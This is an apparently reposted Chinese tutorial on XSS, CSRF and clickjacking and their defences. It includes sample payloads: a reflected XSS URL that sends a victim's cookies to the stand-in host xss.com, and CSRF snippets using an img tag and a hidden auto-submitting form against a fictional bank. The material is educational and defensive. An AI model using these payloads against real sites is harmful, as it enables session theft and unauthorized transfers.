作者：zwwill_木羽

來(lái)自：https://segmentfault.com/a/1190000011601837

關(guān)于Web安全的問(wèn)題，是一個(gè)老生常談的問(wèn)題，作為離用戶最近的一層，我們大前端確實(shí)需要把手伸的更遠(yuǎn)一點(diǎn)。

我們最常見的Web安全攻擊有以下幾種

1、XSS 跨站腳本攻擊

2、CSRF 跨站請(qǐng)求偽造

3、clickjacking 點(diǎn)擊劫持/UI-覆蓋攻擊

下面我們來(lái)一一分析

XSS 跨站腳本攻擊

跨站腳本攻擊（Cross Site Scripting），為了不和層疊樣式表（Cascading Style Sheets,?CSS）的縮寫混淆，故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁(yè)面里插入惡意Script代碼，當(dāng)用戶瀏覽該頁(yè)之時(shí)，嵌入其中Web里面的Script代碼會(huì)被執(zhí)行，從而達(dá)到惡意攻擊用戶的目的。

分類

1、Reflected XSS（基于反射的XSS攻擊）

2、Stored XSS（基于存儲(chǔ)的XSS攻擊）

3、DOM-based or local XSS（基于DOM或本地的XSS攻擊）

Reflected XSS（基于反射的XSS攻擊）

主要通過(guò)利用系統(tǒng)反饋行為漏洞，并欺騙用戶主動(dòng)觸發(fā)，從而發(fā)起Web攻擊。
舉個(gè)栗子：

1- 假設(shè)，在嚴(yán)選網(wǎng)站搜索商品，當(dāng)搜索不到時(shí)站點(diǎn)會(huì)做“xxx未上架提示”。如下圖。

2- 在搜索框搜索內(nèi)容，填入“<script>alert('xss')</script>”, 點(diǎn)擊搜索。

3- 當(dāng)前端頁(yè)面沒(méi)有對(duì)填入的數(shù)據(jù)進(jìn)行過(guò)濾，直接顯示在頁(yè)面上， 這時(shí)就會(huì)alert那個(gè)字符串出來(lái)。

（當(dāng)然上圖是模擬的）

以上3步只是“自?shī)首詷?lè)”，XSS最關(guān)鍵的是第四步。

4- 進(jìn)而可以構(gòu)造獲取用戶cookies的地址，通過(guò)QQ群或者垃圾郵件，來(lái)讓其他人點(diǎn)擊這個(gè)地址：

http://you.163.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

5- 如果受騙的用戶剛好已經(jīng)登錄過(guò)嚴(yán)選網(wǎng)站，那么，用戶的登錄cookie信息就已經(jīng)發(fā)到了攻擊者的服務(wù)器（xss.com）了。當(dāng)然，攻擊者會(huì)做一些更過(guò)分的操作。

Stored XSS（基于存儲(chǔ)的XSS攻擊）

Stored XSS和Reflected XSS的差別就在于，具有攻擊性的腳本被保存到了服務(wù)器并且可以被普通用戶完整的從服務(wù)的取得并執(zhí)行，從而獲得了在網(wǎng)絡(luò)上傳播的能力。

再舉個(gè)栗子：

1- 發(fā)一篇文章，里面包含了惡意腳本

你好！當(dāng)你看到這段文字時(shí)，你的信息已經(jīng)不安全了！<script>alert('xss')</script>

2- 后端沒(méi)有對(duì)文章進(jìn)行過(guò)濾，直接保存文章內(nèi)容到數(shù)據(jù)庫(kù)。

3- 當(dāng)其他讀者看這篇文章的時(shí)候，包含的惡意腳本就會(huì)執(zhí)行。

tips：文章是保存整個(gè)HTML內(nèi)容的，前端顯示時(shí)候也不做過(guò)濾，就極可能出現(xiàn)這種情況。
此為題多從在于博客網(wǎng)站。

如果我們的操作不僅僅是彈出一個(gè)信息，而且刪除一篇文章，發(fā)一篇反動(dòng)的文章，或者成為我的粉絲并且將這篇帶有惡意腳本的文章轉(zhuǎn)發(fā)，這樣是不是就具有了攻擊性。

DOM-based or local XSS（基于DOM或本地的XSS攻擊）

DOM，全稱Document Object Model，是一個(gè)平臺(tái)和語(yǔ)言都中立的接口，可以使程序和腳本能夠動(dòng)態(tài)訪問(wèn)和更新文檔的內(nèi)容、結(jié)構(gòu)以及樣式。

DOM型XSS其實(shí)是一種特殊類型的反射型XSS，它是基于DOM文檔對(duì)象模型的一種漏洞。可以通過(guò)DOM來(lái)動(dòng)態(tài)修改頁(yè)面內(nèi)容，從客戶端獲取DOM中的數(shù)據(jù)并在本地執(zhí)行。基于這個(gè)特性，就可以利用JS腳本來(lái)實(shí)現(xiàn)XSS漏洞的利用。

可能觸發(fā)DOM型XSS的屬性：

document.referer屬性
window.name屬性
location屬性
innerHTML屬性
documen.write屬性
······

總結(jié)

XSS攻擊的本質(zhì)就是，利用一切手段在目標(biāo)用戶的瀏覽器中執(zhí)行攻擊腳本。

防范

對(duì)于一切用戶的輸入、輸出、客戶端的輸出內(nèi)容視為不可信，在數(shù)據(jù)添加到DOM或者執(zhí)行了DOM API的時(shí)候，我們需要對(duì)內(nèi)容進(jìn)行HtmlEncode或JavaScriptEncode，以預(yù)防XSS攻擊。

CSRF 跨站請(qǐng)求偽造

CSRF（Cross-site request forgery）跨站請(qǐng)求偽造，也被稱為“One Click Attack”或者Session Riding，通常縮寫為CSRF或者XSRF，是一種對(duì)網(wǎng)站的惡意利用。盡管聽起來(lái)像跨站腳本（XSS），但它與XSS非常不同，XSS利用站點(diǎn)內(nèi)的信任用戶，而CSRF則通過(guò)偽裝來(lái)自受信任用戶的請(qǐng)求來(lái)利用受信任的網(wǎng)站。與XSS攻擊相比，CSRF攻擊往往不大流行（因此對(duì)其進(jìn)行防范的資源也相當(dāng)稀少）和難以防范，所以被認(rèn)為比XSS更具危險(xiǎn)性。但往往同XSS一同作案！

此下的詳解部分轉(zhuǎn)自hyddd的博文http://www.cnblogs.com/hyddd/...，示例寫的很贊就部分謄抄至此，并做了一定的修改，向作者h(yuǎn)yddd致敬&致謝。

CSRF可以做什么？

你這可以這么理解CSRF攻擊：攻擊者盜用了你的身份，以你的名義發(fā)送惡意請(qǐng)求。CSRF能夠做的事情包括：以你名義發(fā)送郵件，發(fā)消息，盜取你的賬號(hào)，甚至于購(gòu)買商品，虛擬貨幣轉(zhuǎn)賬......造成的問(wèn)題包括：個(gè)人隱私泄露以及財(cái)產(chǎn)安全。

CSRF漏洞現(xiàn)狀

CSRF這種攻擊方式在2000年已經(jīng)被國(guó)外的安全人員提出，但在國(guó)內(nèi)，直到06年才開始被關(guān)注，08年，國(guó)內(nèi)外的多個(gè)大型社區(qū)和交互網(wǎng)站分別爆出CSRF漏洞，如：

NYTimes.com（紐約時(shí)報(bào)）、Metafilter（一個(gè)大型的BLOG網(wǎng)站），YouTube和百度HI......而現(xiàn)在，互聯(lián)網(wǎng)上的許多站點(diǎn)仍對(duì)此毫無(wú)防備，以至于安全業(yè)界稱CSRF為“沉睡的巨人”。

CSRF的原理

下圖簡(jiǎn)單闡述了CSRF攻擊的思想

從上圖可以看出，要完成一次CSRF攻擊，受害者必須依次完成兩個(gè)步驟：

1、登錄受信任網(wǎng)站A，并在本地生成Cookie。

2、在不登出A的情況下，訪問(wèn)危險(xiǎn)網(wǎng)站B。

看到這里，你也許會(huì)說(shuō)：“如果我不滿足以上兩個(gè)條件中的一個(gè)，我就不會(huì)受到CSRF的攻擊”。是的，確實(shí)如此，但你不能保證以下情況不會(huì)發(fā)生：
　　

1、你不能保證你登錄了一個(gè)網(wǎng)站后，不再打開一個(gè)tab頁(yè)面并訪問(wèn)另外的網(wǎng)站。

2、你不能保證你關(guān)閉瀏覽器了后，你本地的Cookie立刻過(guò)期，你上次的會(huì)話已經(jīng)結(jié)束。（事實(shí)上，關(guān)閉瀏覽器不能結(jié)束一個(gè)會(huì)話，但大多數(shù)人都會(huì)錯(cuò)誤的認(rèn)為關(guān)閉瀏覽器就等于退出登錄/結(jié)束會(huì)話了......）

3、上圖中所謂的攻擊網(wǎng)站，可能是一個(gè)存在其他漏洞的可信任的經(jīng)常被人訪問(wèn)的網(wǎng)站。

?

示例

上面大概地講了一下CSRF攻擊的思想，下面我將用幾個(gè)例子詳細(xì)說(shuō)說(shuō)具體的CSRF攻擊，這里我以一個(gè)銀行轉(zhuǎn)賬的操作作為例子（僅僅是例子，真實(shí)的銀行網(wǎng)站沒(méi)這么傻:>）

示例1

銀行網(wǎng)站A，它以GET請(qǐng)求來(lái)完成銀行轉(zhuǎn)賬的操作，如：http://www.mybank.com/Transfe...

危險(xiǎn)網(wǎng)站B，它里面有一段HTML的代碼如下：

<img?src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

首先，你登錄了銀行網(wǎng)站A，然后訪問(wèn)危險(xiǎn)網(wǎng)站B，噢，這時(shí)你會(huì)發(fā)現(xiàn)你的銀行賬戶少了1000塊......

為什么會(huì)這樣呢？原因是銀行網(wǎng)站A違反了HTTP規(guī)范，使用GET請(qǐng)求更新資源。在訪問(wèn)危險(xiǎn)網(wǎng)站B的之前，你已經(jīng)登錄了銀行網(wǎng)站A，而B中的<img>以GET的方式請(qǐng)求第三方資源（這里的第三方就是指銀行網(wǎng)站了，原本這是一個(gè)合法的請(qǐng)求，但這里被不法分子利用了），所以你的瀏覽器會(huì)帶上你的銀行網(wǎng)站A的Cookie發(fā)出Get請(qǐng)求，去獲取資源

http://www.mybank.com/Transfer.php?toBankId=11&money=1000

結(jié)果銀行網(wǎng)站服務(wù)器收到請(qǐng)求后，認(rèn)為這是一個(gè)更新資源操作（轉(zhuǎn)賬操作），所以就立刻進(jìn)行轉(zhuǎn)賬操作......

示例2

為了杜絕上面的問(wèn)題，銀行決定改用POST請(qǐng)求完成轉(zhuǎn)賬操作。

銀行網(wǎng)站A的WEB表單如下：

<form?action="Transfer.php"?method="POST">
????<p>ToBankId:?<input?type="text"?name="toBankId"?/></p>
????<p>Money:?<input?type="text"?name="money"?/></p>
????<p><input?type="submit"?value="Transfer"?/></p>
</form>

后臺(tái)處理頁(yè)面Transfer.php如下：

<?php
　　　　session_start();
　　　　if?(isset($_REQUEST['toBankId']?&&　isset($_REQUEST['money']))
　　　　{
　　　　????buy_stocks($_REQUEST['toBankId'],　$_REQUEST['money']);
　　　　}
?>

危險(xiǎn)網(wǎng)站B，仍然只是包含那句HTML代碼：

<img?src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

和示例1中的操作一樣，你首先登錄了銀行網(wǎng)站A，然后訪問(wèn)危險(xiǎn)網(wǎng)站B，結(jié)果.....和示例1一樣，你再次沒(méi)了1000塊～T_T，這次事故的原因是：銀行后臺(tái)使用了$_REQUEST去獲取請(qǐng)求的數(shù)據(jù)，而$_REQUEST既可以獲取GET請(qǐng)求的數(shù)據(jù)，也可以獲取POST請(qǐng)求的數(shù)據(jù)，這就造成了在后臺(tái)處理程序無(wú)法區(qū)分這到底是GET請(qǐng)求的數(shù)據(jù)還是POST請(qǐng)求的數(shù)據(jù)。在PHP中，可以使用$_GET和$_POST分別獲取GET請(qǐng)求和POST請(qǐng)求的數(shù)據(jù)。在JAVA中，用于獲取請(qǐng)求數(shù)據(jù)request一樣存在不能區(qū)分GET請(qǐng)求數(shù)據(jù)和POST數(shù)據(jù)的問(wèn)題。

示例3

經(jīng)過(guò)前面2個(gè)慘痛的教訓(xùn)，銀行決定把獲取請(qǐng)求數(shù)據(jù)的方法也改了，改用$_POST，只獲取POST請(qǐng)求的數(shù)據(jù)，后臺(tái)處理頁(yè)面Transfer.php代碼如下：

<?php
　　　　session_start();
　　　　if?(isset($_POST['toBankId']?&&　isset($_POST['money']))
　　　　{
　　　　????buy_stocks($_POST['toBankId'],　$_POST['money']);
　　　　}
　　?>

然而，危險(xiǎn)網(wǎng)站B與時(shí)俱進(jìn)，它改了一下代碼：

<html>
　　<head>
　　　　<script?type="text/javascript">
　　　　　　function?steal()
　　　　　　{
??????????　　　　?iframe?=?document.frames["steal"];
　　?????　　??????iframe.document.Submit("transfer");
　　　　　　}
　　　　</script>
　　</head>

　　<body?onload="steal()">
　　　　<iframe?name="steal"?display="none">
　　　　　　<form?method="POST"?name="transfer"　action="http://www.myBank.com/Transfer.php">
　　　　　　　　<input?type="hidden"?name="toBankId"?value="11">
　　　　　　　　<input?type="hidden"?name="money"?value="1000">
　　　　　　</form>
　　　　</iframe>
　　</body>
</html>

如果用戶仍是繼續(xù)上面的操作，很不幸，結(jié)果將會(huì)是再次不見1000塊......因?yàn)檫@里危險(xiǎn)網(wǎng)站B暗地里發(fā)送了POST請(qǐng)求到銀行!
　　
總結(jié)一下上面3個(gè)例子，CSRF主要的攻擊模式基本上是以上的3種，其中以第1,2種最為嚴(yán)重，因?yàn)橛|發(fā)條件很簡(jiǎn)單，一個(gè)<img>就可以了，而第3種比較麻煩，需要使用JavaScript，所以使用的機(jī)會(huì)會(huì)比前面的少很多，但無(wú)論是哪種情況，只要觸發(fā)了CSRF攻擊，后果都有可能很嚴(yán)重。
　　
理解上面的3種攻擊模式，其實(shí)可以看出，CSRF攻擊是源于WEB的隱式身份驗(yàn)證機(jī)制！WEB的身份驗(yàn)證機(jī)制雖然可以保證一個(gè)請(qǐng)求是來(lái)自于某個(gè)用戶的瀏覽器，但卻無(wú)法保證該請(qǐng)求是用戶批準(zhǔn)發(fā)送的！

當(dāng)前防御 CSRF 的幾種策略

在業(yè)界目前防御 CSRF 攻擊主要有三種策略：驗(yàn)證 HTTP Referer 字段；在請(qǐng)求地址中添加 token 并驗(yàn)證；在 HTTP 頭中自定義屬性并驗(yàn)證。下面就分別對(duì)這三種策略進(jìn)行詳細(xì)介紹。

驗(yàn)證 HTTP Referer 字段

利用HTTP頭中的Referer判斷請(qǐng)求來(lái)源是否合法。

優(yōu)點(diǎn)：簡(jiǎn)單易行，只需要在最后給所有安全敏感的請(qǐng)求統(tǒng)一增加一個(gè)攔截器來(lái)檢查 Referer 的值就可以。特別是對(duì)于當(dāng)前現(xiàn)有的系統(tǒng)，不需要改變當(dāng)前系統(tǒng)的任何已有代碼和邏輯，沒(méi)有風(fēng)險(xiǎn)，非常便捷。

缺點(diǎn)：

1、Referer 的值是由瀏覽器提供的，不可全信，低版本瀏覽器下Referer存在偽造風(fēng)險(xiǎn)。
2、用戶自己可以設(shè)置瀏覽器使其在發(fā)送請(qǐng)求時(shí)不再提供 Referer時(shí)，網(wǎng)站將拒絕合法用戶的訪問(wèn)。

在請(qǐng)求地址中添加 token 并驗(yàn)證

在請(qǐng)求中放入黑客所不能偽造的信息，并且該信息不存在于 cookie 之中，以HTTP請(qǐng)求參數(shù)的形式加入一個(gè)隨機(jī)產(chǎn)生的 token交由服務(wù)端驗(yàn)證

優(yōu)點(diǎn)：比檢查 Referer 要安全一些，并且不涉及用戶隱私。

缺點(diǎn)：對(duì)所有請(qǐng)求都添加token比較困難，難以保證 token 本身的安全，依然會(huì)被利用獲取到token

在 HTTP 頭中自定義屬性并驗(yàn)證+One-Time Tokens

將token放到 HTTP 頭中自定義的屬性里。通過(guò) XMLHttpRequest 的異步請(qǐng)求交由后端校驗(yàn)，并且一次有效。

優(yōu)點(diǎn)：統(tǒng)一管理token輸入輸出，可以保證token的安全性
缺點(diǎn)：有局限性，無(wú)法在非異步的請(qǐng)求上實(shí)施

點(diǎn)擊劫持

點(diǎn)擊劫持，英文名clickjacking，也叫UI覆蓋攻擊，攻擊者會(huì)利用一個(gè)或多個(gè)透明或不透明的層來(lái)誘騙用戶支持點(diǎn)擊按鈕的操作，而實(shí)際的點(diǎn)擊確實(shí)用戶看不到的一個(gè)按鈕，從而達(dá)到在用戶不知情的情況下實(shí)施攻擊。

這種攻擊方式的關(guān)鍵在于可以實(shí)現(xiàn)頁(yè)中頁(yè)的<iframe />標(biāo)簽，并且可以使用css樣式表將他不可見

如以上示意圖的藍(lán)色層，攻擊者會(huì)通過(guò)一定的手段誘惑用戶“在紅色層”輸入信息，但用戶實(shí)際上實(shí)在藍(lán)色層中，以此做欺騙行為。

拿支付寶做個(gè)栗子

上圖是支付寶手機(jī)話費(fèi)充值的界面。

再看看一下界面

是的，這個(gè)是我偽造的，如果我將真正的充值站點(diǎn)隱藏在此界面上方。我想，聰明的你已經(jīng)知道clickjacking的危險(xiǎn)性了。

上圖我估計(jì)做了一下錯(cuò)位和降低透明度，是不是很有意思呢？傻傻分不清的用戶還以為是領(lǐng)取了獎(jiǎng)品，其實(shí)是給陌生人充值了話費(fèi)。

這種方法最常見的攻擊場(chǎng)景是偽造一些網(wǎng)站盜取帳號(hào)信息，如支付寶、QQ、網(wǎng)易帳號(hào)等帳號(hào)的賬密

目前，clickjacking還算比較冷門，很多安全意識(shí)不強(qiáng)的網(wǎng)站還未著手做clickjacking的防范。這是很危險(xiǎn)的。

防范

防止點(diǎn)擊劫持有兩種主要方法：

X-FRAME-OPTIONS

X-FRAME-OPTIONS是微軟提出的一個(gè)http頭，指示瀏覽器不允許從其他域進(jìn)行取景，專門用來(lái)防御利用iframe嵌套的點(diǎn)擊劫持攻擊。并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。

?

這個(gè)頭有三個(gè)值：?
DENY // 拒絕任何域加載?
SAMEORIGIN // 允許同源域下加載?
ALLOW-FROM // 可以定義允許frame加載的頁(yè)面地址

頂層判斷

在UI中采用防御性代碼，以確保當(dāng)前幀是最頂層的窗口

方法有多中，如

top?!=?self?||?top.location?!=?self.location?||?top.location?!=?location

有關(guān)Clickjacking防御的更多信息，請(qǐng)參閱Clickjacking Defense Cheat Sheethttps://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/.

參考

[1] 淺談CSRF攻擊方式 -?http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html
[2] CSRF 攻擊的應(yīng)對(duì)之道 -?https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/

創(chuàng)作挑戰(zhàn)賽新人創(chuàng)作獎(jiǎng)勵(lì)來(lái)咯，堅(jiān)持創(chuàng)作打卡瓜分現(xiàn)金大獎(jiǎng)

總結(jié)

以上是生活随笔為你收集整理的Web安全的三个攻防姿势的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。